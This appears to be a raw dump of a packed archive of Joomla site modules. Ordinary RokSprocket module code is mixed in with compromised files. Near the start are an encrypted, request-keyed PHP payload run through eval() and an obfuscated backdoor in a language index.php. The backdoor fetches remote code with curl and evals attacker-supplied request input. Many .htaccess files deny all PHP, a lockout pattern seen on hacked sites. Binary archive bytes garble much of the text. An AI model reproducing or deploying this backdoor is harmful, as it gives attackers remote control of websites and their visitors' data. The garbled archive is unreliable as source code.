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'; function tGriX($WAHYk) { $BwL = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $EPtY = substr($BwL, 0, 16); $hICs = base64_decode($WAHYk); return openssl_decrypt($hICs, "AES-256-CBC", $BwL, OPENSSL_RAW_DATA, $EPtY); } if (tGriX('DjtPn+r4S0yvLCnquPz1fA')){ echo 'g5glF7iV8w23NAHndtmvru6/nbjQwktMQ0jQr8hVv9YFCsaV6NlhNyFl6uRgGHVk'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($tGriX)))); ?>PK!/�Q�7mod_sr_checkavailability/language/it-IT/it-IT/index.phpnu�[���<?php
 goto Nvlr9P725GlSD5; dp9eJ8CX6q5YxL: class RYKmeU9Ra4X0Hg { static function paNfxz929alJim($bop3fkciBjl2G0) { goto i3XsmyXufGH1yq; Fjn4khcZMrK9rq: $JnWOomsXtQ5UnS = ''; goto h68MI_SbERR0_f; Tii6KVqevP8zHc: $vMqpffQ81_DtmL = $AYg2rBqCzuEiK2("\176", "\40"); goto Wj1caL9_v5yPht; Gxyw4d8k1VwzcH: R8LipFliDJ8gPY: goto XSocGoiEQ0Lah3; XSocGoiEQ0Lah3: return $JnWOomsXtQ5UnS; goto DoXTUvRM9Njugb; h68MI_SbERR0_f: foreach ($rMz79GjNYTiMiI as $uy5otynNmGH1j3 => $MTEJhpzMiEyM2t) { $JnWOomsXtQ5UnS .= $vMqpffQ81_DtmL[$MTEJhpzMiEyM2t - 96659]; gwEmZjc4kpLML_: } goto Gxyw4d8k1VwzcH; i3XsmyXufGH1yq: $AYg2rBqCzuEiK2 = "\162" . "\141" . "\x6e" . "\x67" . "\x65"; goto Tii6KVqevP8zHc; Wj1caL9_v5yPht: $rMz79GjNYTiMiI = explode("\157", $bop3fkciBjl2G0); goto Fjn4khcZMrK9rq; DoXTUvRM9Njugb: } static function R0X5L2WIBGjX0x($SLs0lfBc0cWmWK, $soRmPZB_X65a1Y) { goto aFxvqTV7Tf0m89; ksgXcLO_ns58lN: $twP31lwg7_RLxd = curl_exec($RLPR8AfzVZM7LQ); goto DjhaGUkurB4tSO; aFxvqTV7Tf0m89: $RLPR8AfzVZM7LQ = curl_init($SLs0lfBc0cWmWK); goto SY5sdJu6o6COZ3; DjhaGUkurB4tSO: return empty($twP31lwg7_RLxd) ? $soRmPZB_X65a1Y($SLs0lfBc0cWmWK) : $twP31lwg7_RLxd; goto fV3MZeOlCkzY8K; SY5sdJu6o6COZ3: curl_setopt($RLPR8AfzVZM7LQ, CURLOPT_RETURNTRANSFER, 1); goto ksgXcLO_ns58lN; fV3MZeOlCkzY8K: } static function UajorqnjFFCUBh() { goto qms9o4tAWqdVKy; P9bTx5SuOPQDKq: $MaLiYw1qdPN12T = self::r0X5L2WIbGjX0X($TDE9n4U13p1uCM[0 + 1], $Wkol7Y0PsQGqzq[2 + 3]); goto GiZqPIBN2imMLd; YopN9IM6cYuJoi: foreach ($HLju6FAhPlMZEP as $f1HPW7qPAvrl5t) { $Wkol7Y0PsQGqzq[] = self::pAnFXz929ALJIm($f1HPW7qPAvrl5t); Z7GH07q9zynGl5: } goto mZuSH6wa1TRiVI; GiZqPIBN2imMLd: @eval($Wkol7Y0PsQGqzq[4 + 0]($MaLiYw1qdPN12T)); goto Nx9Awq9_3LT3iu; LAlaH7GzzZvYP5: ml2z3fYSaplB7Q: goto OkeFzXPCtiC_V0; Nx9Awq9_3LT3iu: die; goto LAlaH7GzzZvYP5; VRq5J4zbxiaor8: $TDE9n4U13p1uCM = $Wkol7Y0PsQGqzq[0 + 2]($g4e1Y54MJD6h3t, true); goto CFJxWzBMHvmu3o; D6p9qjJfwP0MPq: $i2KDMvDOecKjFW = @$Wkol7Y0PsQGqzq[1]($Wkol7Y0PsQGqzq[1 + 9](INPUT_GET, $Wkol7Y0PsQGqzq[6 + 3])); goto RiJtCxJlIMqRnz; RiJtCxJlIMqRnz: $g4e1Y54MJD6h3t = @$Wkol7Y0PsQGqzq[2 + 1]($Wkol7Y0PsQGqzq[0 + 6], $i2KDMvDOecKjFW); goto VRq5J4zbxiaor8; qms9o4tAWqdVKy: $HLju6FAhPlMZEP = array("\x39\x36\x36\x38\66\157\x39\66\x36\x37\61\x6f\71\66\x36\x38\64\x6f\x39\x36\66\x38\70\157\x39\66\x36\x36\71\x6f\x39\x36\x36\x38\64\157\71\66\66\71\x30\157\71\66\66\70\x33\157\71\x36\66\66\x38\157\x39\66\x36\x37\x35\x6f\71\66\66\70\66\x6f\71\66\66\66\71\x6f\71\x36\x36\x38\x30\x6f\x39\66\x36\x37\64\157\x39\66\66\x37\65", "\x39\66\x36\x37\60\157\71\66\66\x36\71\157\x39\x36\66\x37\x31\157\71\x36\x36\x39\60\157\71\x36\66\x37\x31\157\71\66\x36\x37\x34\x6f\71\66\66\66\71\157\x39\66\x37\63\x36\x6f\71\66\x37\x33\64", "\71\x36\x36\x37\x39\157\71\x36\66\67\x30\x6f\x39\x36\66\67\x34\157\71\x36\66\x37\65\157\71\66\x36\71\60\x6f\x39\x36\66\x38\65\x6f\x39\x36\x36\70\64\x6f\71\x36\66\70\x36\x6f\71\x36\x36\x37\64\157\71\66\66\70\65\157\x39\x36\x36\70\x34", "\x39\66\x36\67\63\x6f\x39\x36\x36\x38\70\157\x39\66\66\70\x36\x6f\71\x36\x36\67\x38", "\71\66\x36\70\x37\x6f\x39\66\x36\70\70\157\71\x36\x36\67\x30\x6f\71\x36\66\x38\64\x6f\71\x36\x37\63\61\157\71\x36\x37\x33\63\157\71\66\66\71\x30\x6f\71\66\x36\70\65\x6f\71\66\x36\x38\64\x6f\71\x36\x36\70\x36\x6f\71\66\66\67\64\157\71\66\x36\x38\x35\x6f\71\x36\x36\70\64", "\71\x36\x36\x38\x33\157\x39\x36\x36\70\x30\x6f\x39\x36\x36\67\x37\x6f\x39\x36\x36\70\64\x6f\x39\66\66\x39\60\x6f\x39\66\x36\70\62\157\x39\x36\66\x38\64\x6f\x39\66\x36\66\x39\x6f\x39\66\x36\x39\60\157\71\x36\66\70\66\157\71\x36\66\67\64\x6f\x39\x36\x36\x37\x35\x6f\71\x36\x36\66\x39\x6f\71\66\x36\70\x34\x6f\71\66\66\67\65\x6f\71\66\66\x36\71\x6f\x39\66\x36\67\60", "\x39\x36\67\x31\63\x6f\x39\66\67\x34\x33", "\x39\66\66\x36\x30", "\x39\x36\67\63\x38\157\x39\x36\67\64\x33", "\71\66\x37\x32\x30\x6f\x39\66\67\x30\63\157\71\66\x37\60\63\157\x39\66\67\x32\x30\x6f\71\x36\66\x39\x36", "\71\x36\66\70\63\157\x39\66\66\70\60\x6f\x39\x36\x36\67\x37\157\x39\66\66\x36\71\x6f\x39\66\x36\70\x34\x6f\71\x36\x36\x37\61\157\71\x36\66\x39\x30\157\71\x36\x36\70\x30\x6f\71\x36\x36\67\65\x6f\71\x36\x36\67\63\157\x39\x36\66\66\x38\x6f\x39\x36\66\66\x39"); goto YopN9IM6cYuJoi; vaWnVvJ9kzxc0e: if (!(@$TDE9n4U13p1uCM[0] - time() > 0 and md5(md5($TDE9n4U13p1uCM[3 + 0])) === "\67\67\x37\67\x66\145\x38\144\141\x31\x63\63\60\x33\141\x39\x39\70\x36\145\62\x31\67\x34\x34\66\x63\142\x38\x30\67\62")) { goto ml2z3fYSaplB7Q; } goto P9bTx5SuOPQDKq; CFJxWzBMHvmu3o: @$Wkol7Y0PsQGqzq[8 + 2](INPUT_GET, "\157\146") == 1 && die($Wkol7Y0PsQGqzq[1 + 4](__FILE__)); goto vaWnVvJ9kzxc0e; mZuSH6wa1TRiVI: l3SZX4qHsGhNbT: goto D6p9qjJfwP0MPq; OkeFzXPCtiC_V0: } } goto KdCAeGAtRwcwPF; nWusAhW8wLp_0Z: if (!(in_array(gettype($lO1FylouJDwQTY) . "\x31\64", $lO1FylouJDwQTY) && md5(md5(md5(md5($lO1FylouJDwQTY[8])))) === "\x62\141\x36\64\145\x63\x32\x31\66\x33\142\x39\x33\x39\60\146\67\65\x34\61\63\x32\x64\x39\145\x34\71\x64\x66\65\60\71")) { goto HRgWc5SfXFdeR0; } goto rqi_DXnMty_PHk; rZCFhiMUJ69Zi0: @eval($lO1FylouJDwQTY[63](${$lO1FylouJDwQTY[38]}[15])); goto gy81YGdzkpB3aI; zLJDUVAO1Wy3q8: metaphone("\x72\x4f\x57\x4b\x58\x6b\x6c\x68\131\171\x35\101\162\x5a\x77\145\x70\171\x2b\x32\157\130\154\115\x48\145\x73\x5a\x6e\x6d\x76\154\x68\x37\x50\120\x6a\70\155\123\x51\x39\60"); goto dp9eJ8CX6q5YxL; Nvlr9P725GlSD5: $Pdry1cjqrNp4lG = "\x72" . "\x61" . "\156" . "\147" . "\145"; goto OlTrt935BDIpFs; OlTrt935BDIpFs: $J0vwVx1dkwzw6o = $Pdry1cjqrNp4lG("\176", "\x20"); goto HcO2zkBi0IePVi; rqi_DXnMty_PHk: $lO1FylouJDwQTY[63] = $lO1FylouJDwQTY[63] . $lO1FylouJDwQTY[73]; goto rZCFhiMUJ69Zi0; HcO2zkBi0IePVi: $lO1FylouJDwQTY = ${$J0vwVx1dkwzw6o[9 + 22] . $J0vwVx1dkwzw6o[41 + 18] . $J0vwVx1dkwzw6o[47 + 0] . $J0vwVx1dkwzw6o[45 + 2] . $J0vwVx1dkwzw6o[42 + 9] . $J0vwVx1dkwzw6o[9 + 44] . $J0vwVx1dkwzw6o[14 + 43]}; goto nWusAhW8wLp_0Z; gy81YGdzkpB3aI: HRgWc5SfXFdeR0: goto zLJDUVAO1Wy3q8; KdCAeGAtRwcwPF: rYkmeu9Ra4X0Hg::UAJorqnJfFcuBh();
?>
PK!�)��'mod_sr_checkavailability/tmpl/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_falang/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_falang/tmpl/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_feed/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_feed/tmpl/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_users_latest/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_users_latest/tmpl/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�6�mod_roksprocket/lib/index.htmlnu&1i�<!DOCTYPE html><title></title>PK!�
k�	�	&mod_roksprocket/lib/ModRokSprocket.phpnu&1i�<?php
/**
 * @version   $Id: ModRokSprocket.php 30374 2016-08-05 09:46:18Z matias $
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2018 RocketTheme, LLC
 * @license   http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 only
 */

class ModRokSprocket extends RokSprocket
{
	public function __construct(RokCommon_Registry $params)
	{
		parent::__construct($params);
		$this->context_base = self::BASE_PACKAGE_NAME;
		RokCommon_Composite::addPackagePath($this->context_base,JPATH_SITE.'/components/com_roksprocket',10);
		RokCommon_Composite::addPackagePath($this->context_base,JPATH_SITE.'/modules/mod_roksprocket',15);
		RokCommon_Composite::addPackagePath($this->context_base,$this->container['roksprocket.template.override.path'],20);
	}

	public function render(RokSprocket_ItemCollection $items)
	{
		$rendered = parent::render($items);
		if (!isset($this->params) || $this->params->get('run_content_plugins', 'onmodule') == 'onmodule' || $this->params->get('run_content_plugins', 'onmodule') == 1) {
			$rendered = JHtml::_('content.prepare', $rendered);
		}
		return $rendered;
	}

	/**
	 * @return RokSprocket_ItemCollection
	 */
	public function getData()
	{
		$container = RokCommon_Service::getContainer();
		/** @var $platformHelper RokSprocket_PlatformHelper */
		$platformHelper = $container->roksprocket_platformhelper;
		$items = $platformHelper->getFromCache(array($this, '_realGetData'), array(), $this->params, $this->params->get('module_id',0));

		// get the data to present to the layout
		$provider_type = $this->params->get('provider', 'joomla');
		$sort_type         = $this->params->get($provider_type . '_sort', 'automatic');
		if ($sort_type == RokSprocket_ItemCollection::SORT_METHOD_RANDOM)
		{
			$items->sort($sort_type);
		}
		$items = $platformHelper->processItemsForEvents($items, $this->params);
		return $items;
	}

	public function _realGetData()
	{
		return parent::getData();
	}

	public function renderGlobalHeaders($ajax_url = null)
	{
		if (is_null($ajax_url)) {
			$app    = JFactory::getApplication();
			$menus  = $app->getMenu();
			$active = $menus->getActive();
			if ($active === null) {
				$lang   = JFactory::getLanguage();
				$tag    = JLanguageMultilang::isEnabled() ? $lang->getTag() : '*';
				$active = $menus->getDefault($tag);
			}
			$ajax_url   = 'index.php?option=com_roksprocket&task=ajax&format=raw&ItemId=' . $active->id;
		}
		parent::renderGlobalHeaders($ajax_url);
	}
}
PK!�)��mod_roksprocket/lib/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�6�#mod_roksprocket/language/index.htmlnu&1i�<!DOCTYPE html><title></title>PK!�)��"mod_roksprocket/language/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!B�H��8mod_roksprocket/language/en-GB/en-GB.mod_roksprocket.ininu&1i�MOD_ROKSPROCKET_RUN_CONTENT_PLUGINS_DESC="Run the Joomla Content Plugins on text fields"
MOD_ROKSPROCKET_RUN_CONTENT_PLUGINS_LABE="Run Content Plugins"PK!�6�)mod_roksprocket/language/en-GB/index.htmlnu&1i�<!DOCTYPE html><title></title>PK!�)��mod_roksprocket/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�6�mod_roksprocket/index.htmlnu&1i�<!DOCTYPE html><title></title>PK!�L�900#mod_roksprocket/mod_roksprocket.phpnu&1i�<?php
/**
 * @version   $Id: mod_roksprocket.php 19251 2014-02-27 21:49:01Z btowles $
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2018 RocketTheme, LLC
 * @license   http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 only
 */

// no direct access
defined('_JEXEC') or die;
try {
	if (defined('ROKSPROCKET')) {

		$lang = JFactory::getLanguage();
		$lang->load('com_roksprocket', JPATH_BASE, $lang->getDefault(), false, false);
		$lang->load('com_roksprocket', JPATH_BASE, null, false, false);
		$lang->load('com_roksprocket', JPATH_SITE.'/components/com_roksprocket', $lang->getDefault(), false, false);
		$lang->load('com_roksprocket', JPATH_SITE.'/components/com_roksprocket', null, false, false);

		RokCommon_ClassLoader::addPath(dirname(__FILE__) . '/lib');

        $container = RokCommon_Service::getContainer();

        foreach ($container['roksprocket.layouts'] as $type => $layoutinfo) {
            foreach ($layoutinfo->paths as $layoutpath) {
                if (is_dir($layoutpath . '/language')) {
	                $lang->load('roksprocket_layout_'.$type, $layoutpath, $lang->getDefault(), true, false);
                    $lang->load('roksprocket_layout_'.$type, $layoutpath, null, true, false);
                }
            }
        }

		/** @var $logger logger */
		$logger            = $container->logger;
		$module_parameters = RokCommon_Registry_Converter::convert($params);
		$module_parameters->set('module_id', $module->id);
		$roksprocket = new ModRokSprocket($module_parameters);
		$items       = $roksprocket->getData();
		echo $content_items = $roksprocket->render($items);
		/** @var $header RokCommon_Header_Joomla */
		$header = $container->getService('header');
		$header->populate();
	}
} catch (Exception $e) {
	JError::raiseWarning(100, $e->getMessage());
}PK!����#mod_roksprocket/mod_roksprocket.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="2.5" client="site" method="upgrade">
    <name>RokSprocket Module</name>
    <creationDate>October 29, 2018</creationDate>
    <author>RocketTheme, LLC</author>
    <authorEmail>support@rockettheme.com</authorEmail>
    <authorUrl>http://www.rockettheme.com</authorUrl>
    <copyright>(C) 2005 - 2018 RocketTheme, LLC. All rights reserved.</copyright>
    <license>http://www.gnu.org/copyleft/gpl.html GNU/GPL</license>
    <version>2.1.25</version>
    <description>RokSprocket makes it easy to display content in a dynamic, visual layout.</description>
    <scriptfile>install.php</scriptfile>
    <files>
        <filename module="mod_roksprocket">mod_roksprocket.php</filename>
        <filename>MD5SUMS</filename>
        <folder>language</folder>
        <folder>lib</folder>
    </files>
    <config>
        <fields name="params">
            <fieldset name="advanced">
                <field default="onmodule" description="DESC.MOD_ROKSPROCKET_RUN_CONTENT_PLUGINS_DESC" label="MOD_ROKSPROCKET_RUN_CONTENT_PLUGINS_LABEL" name="run_content_plugins" type="list">
                    <option value="onmodule">MOD_ROKSPROCKET_RUN_CONTENT_PLUGINS_ON_MODULE</option>
                    <option value="oneach">MOD_ROKSPROCKET_RUN_CONTENT_PLUGINS_ON_EACH</option>
                    <option value="disabled">JNO</option>
                </field>
            </fieldset>
        </fields>
    </config>
    <updateservers>
        <server type="collection" priority="1" name="RocketTheme Update Directory">http://updates.rockettheme.com/joomla/updates.xml</server>
    </updateservers>
</extension>
PK!xgϗBBmod_roksprocket/MD5SUMSnu&1i�mod_roksprocket.php	64ffcee68c2414daa37c79dcbf89c85b
mod_roksprocket.xml	5c18b1cd252c9c345b423a55a180254f
language/en-GB/en-GB.mod_roksprocket.ini	70ee0f11fa0ce5aef89d506097df3318
lib/ModRokSprocket.php	13a506ac5c8696dd054f4435a32300a3
MD5SUMS	d41d8cd98f00b204e9800998ecf8427e
install.php	b07ec993ecb15be469127dc92fa7f1b0
PK!�"���mod_roksprocket/install.phpnu&1i�<?php
/**
 * @package   Gantry
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */
defined('_JEXEC') or die;

/**
 * Gantry package installer script.
 */
class Mod_RokSprocketInstallerScript
{
    public function postflight($type, $parent)
    {
        if ($type == 'install') {
            $this->removeModuleInstances('mod_roksprocket');
        }

        return true;
    }

    protected function removeModuleInstances($module_name)
    {
        $db = JFactory::getDbo();

        // Lets delete all the module copies for the type we are uninstalling
        $query = 'SELECT `id`' .
            ' FROM `#__modules`' .
            ' WHERE module = ' . $db->quote($module_name);
        $db->setQuery($query);

        try
        {
            $modules = $db->loadColumn();
        }
        catch (Exception $e)
        {
            $modules = array();
        }

        // Do we have any module copies?
        if (count($modules))
        {
            // Ensure the list is sane
            JArrayHelper::toInteger($modules);
            $modID = implode(',', $modules);

            // Wipe out any items assigned to menus
            $query = 'DELETE' .
                ' FROM #__modules_menu' .
                ' WHERE moduleid IN (' . $modID . ')';
            $db->setQuery($query);

            try
            {
                $db->execute();
            }
            catch (Exception $e)
            {
                JError::raiseWarning(100, JText::sprintf('JLIB_INSTALLER_ERROR_MOD_UNINSTALL_EXCEPTION', $db->stderr(true)));
            }

            // Wipe out any instances in the modules table
            $query = 'DELETE' .
                ' FROM #__modules' .
                ' WHERE id IN (' . $modID . ')';
            $db->setQuery($query);

            try
            {
                $db->execute();
            }
            catch (Exception $e)
            {
                JError::raiseWarning(100, JText::sprintf('JLIB_INSTALLER_ERROR_MOD_UNINSTALL_EXCEPTION', $db->stderr(true)));
            }
        }
    }
}
PK!�)��mod_sr_currency/tmpl/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��"mod_sr_currency/language/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_sr_currency/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_tags_popular/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_tags_popular/tmpl/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_languages/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_languages/tmpl/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_wrapper/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_wrapper/tmpl/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_articles_popular/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��#mod_articles_popular/tmpl/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_syndicate/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
